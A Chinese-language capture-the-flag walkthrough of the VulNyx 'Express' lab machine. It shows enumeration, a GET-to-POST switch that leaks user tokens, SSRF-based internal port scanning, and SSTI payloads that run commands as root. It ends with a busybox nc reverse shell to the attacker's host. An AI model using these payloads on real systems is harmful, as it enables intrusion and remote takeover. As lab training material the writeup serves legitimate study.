VulNyx Express Walkthrough

这是我第一次玩VulNyx的靶机,这个靶机还是很有意思的,涉及到了GET/POST的变化、SSRF、SSTI,解题思路很有意思,所以记录下来。靶机的下载地址为https://vulnyx.com/file/Express.php。

扫描端口,显示22和80。

└─$ nmap -sV -sC -Pn -p- -oN port.log 192.168.56.134
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:88:F1:F0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

打开80端口,发现只有apache的默认页面,扫描目录也没有任何发现。经网上搜索,发现要把域名设置为express.nyx,再次扫描80端口。

└─$ gobuster dir -u "http://express.nyx/" -t 20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.txt -b 401,403,404,500  -o 80.log

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 16358]
/css                  (Status: 301) [Size: 308] [--> http://express.nyx/css/]
/js                   (Status: 301) [Size: 307] [--> http://express.nyx/js/]
/javascript           (Status: 301) [Size: 315] [--> http://express.nyx/javascript/

网站没有传统的php文件,那只能从页面本身想办法。使用浏览器打开,进入开发工具进行观察,发现调用了两个js文件。

api.js是研究的重点,里面有4个函数调用,其中有一个getUserWithKey(),里面出现了敏感词。

function getUsersWithKey() {
    fetch(`/api/users?key=${secretKey}`)
        .then(response => response.json())
        .then(data => {
            console.log('User list (with key):', data);
        })
        .catch(error => {
            console.error('Error fetching the user list:', error);
        });
}

尝试调用/api/users,报错。

└─$ curl http://express.nyx/api/users?key=someone                                         
{
  "message": "Unauthorized,wrong key!",
  "result": "error"
}

到这里,理论上可以爆破secretKey,但实际没法操作,因为网站并没有给出secretKey的样式。经过提示,发现当GET方法卡住时,可以换一个POST方法,看看有什么不一样的结果。

└─$ curl -X POST http://express.nyx/api/users?key=someone                                                                                                                     
[                                                                                                                                                                             
  {                                                                                                                                                                           
    "id": 1,                                                                                                                                                                  
    "roles": [                                                                                                                                                                
      "editor"                                                                                                                                                                
    ],                                                                                                                                                                        
    "token": "0653-0493-3031-8241",                                                                                                                                           
    "username": "Xerosec"                                                                                                                                                     
  },                                                 
...
  {
    "id": 18,
    "roles": [
      "admin"
    ],
    "token": "4493-3179-0912-0597",
    "username": "JESSS"
  }, 

网站居然返回了一个用户列表。其中,只有一个用户的角色是admin。看来要以这个用户为突破点。这时,需要用到api.js里的另一个函数checkUrlAvailability

function checkUrlAvailability() {
    const data = {
        id: 1,
        url: 'http://example.com',
        token: '1234-1234-1234'
    };

    fetch('/api/admin/availability', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
    })
    .then(response => response.json())
    .then(data => {
        console.log('URL status:', data);
    })
    .catch(error => {
        console.error('Error checking the URL availability:', error);
    });
}

可以看出来,调用这个方法,需要以POST方法,并传入3个参数。在本机建立http服务,并让靶机尝试访问本机,果然成功了,说明服务器存在SSRF。

└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://192.168.56.101\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
  "id": 18,
  "response_data": "<!DOCTYPE HTML>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Directory listing for /</title>\n</head>\n<body>\n<h1>Directory listing for /</h1>\n<hr>\n<ul>\n<li><a href=\"80.log\">80.log</a></li>\n<li><a href=\"port.log\">port.log</a></li>\n</ul>\n<hr>\n</body>\n</html>\n",
  "result": "success",
  "url_status": "active"
}
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

└─$ sudo python -m http.server 80 
[sudo] password for kali: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.56.134 - - [25/Oct/2024 19:26:23] "GET / HTTP/1.1" 200 -

这时,需要用到一个很巧妙的思路,利用SSRF来扫描内部端口,发现靶机内部开着5000和9000端口。

└─$ seq 1 10000 > ports.txt

└─$ wfuzz -w ports.txt -u http://express.nyx/api/admin/availability -X POST -H "Content-Type: application/json" -d '{"id": 123, "url": "http://127.0.0.1:FUZZ", "token": "4493-3179-0912-0597"}' --hw 33
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://express.nyx/api/admin/availability
Total requests: 10000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                       
=====================================================================

000000022:   200        6 L      13 W       177 Ch      "22"                                                                                                          
000000080:   200        6 L      929 W      11241 Ch    "80"                                                                                                          
000005000:   200        6 L      36 W       302 Ch      "5000"                                                                                                        
000009000:   200        6 L      24 W       281 Ch      "9000" 

再次利用刚才的SSRF,尝试访问5000端口,会报错,尝试访问9000端口,会展示很有意思的信息。(在curl参数里加入\"是因为后面要用到3层的引号嵌套,且POST参数必须为双引号)

└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
  "id": 18,
  "response_data": "\n    <form method=\"get\" action=\"/username\">\n        <input type=\"text\" name=\"name\" placeholder=\"Enter your name\">\n        <input type=\"submit\" value=\"Greet\">\n    </form>\n    ",
  "result": "success",
  "url_status": "active"
}

从服务器返回的信息看,可以继续访问/username,并设置name参数。

└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000/username?name=JESSS\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
  "id": 18,
  "response_data": "Hello, JESSS!",
  "result": "success",
  "url_status": "active"
}

输入的用户名JESSS显示在了返回的JSON数据中,这时要用到SSTI,看name参数的地方存不存在SSTI漏洞。这里使用经典的方法。

└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000/username?name={{ 7*7 }}\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
  "id": 18,
  "response_data": "Hello, 49!",
  "result": "success",
  "url_status": "active"
}

可以看到,当name参数为{{ 7*7 }}时,返回值为49,说明存在SSTI。尝试执行一下系统命令id。关于SSTI执行系统命令,有多种模板,可以多尝试,找到可用的那个。

└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000/username?name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
  "id": 18,
  "response_data": "Hello, uid=0(root) gid=0(root) groups=0(root)\n!",
  "result": "success",
  "url_status": "active"
}

命令执行成功,且用户是root。下面就是构建反弹shell的字符串,本机监听,并得到root的shell。

└─$ pwnstr="{{ self.__init__.__globals__.__builtins__.__import__('os').popen('busybox nc 192.168.56.101 1234 -e bash').read() }}"

└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 123, \"url\": \"http://127.0.0.1:9000/username?name=$pwnstr\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
  "error_message": "HTTPConnectionPool(host='127.0.0.1', port=9000): Read timed out. (read timeout=5)",
  "id": 123,
  "result": "error",
  "url_status": "unreachable"
}

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.134] 60136
id
uid=0(root) gid=0(root) groups=0(root)

至此,全部完成!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注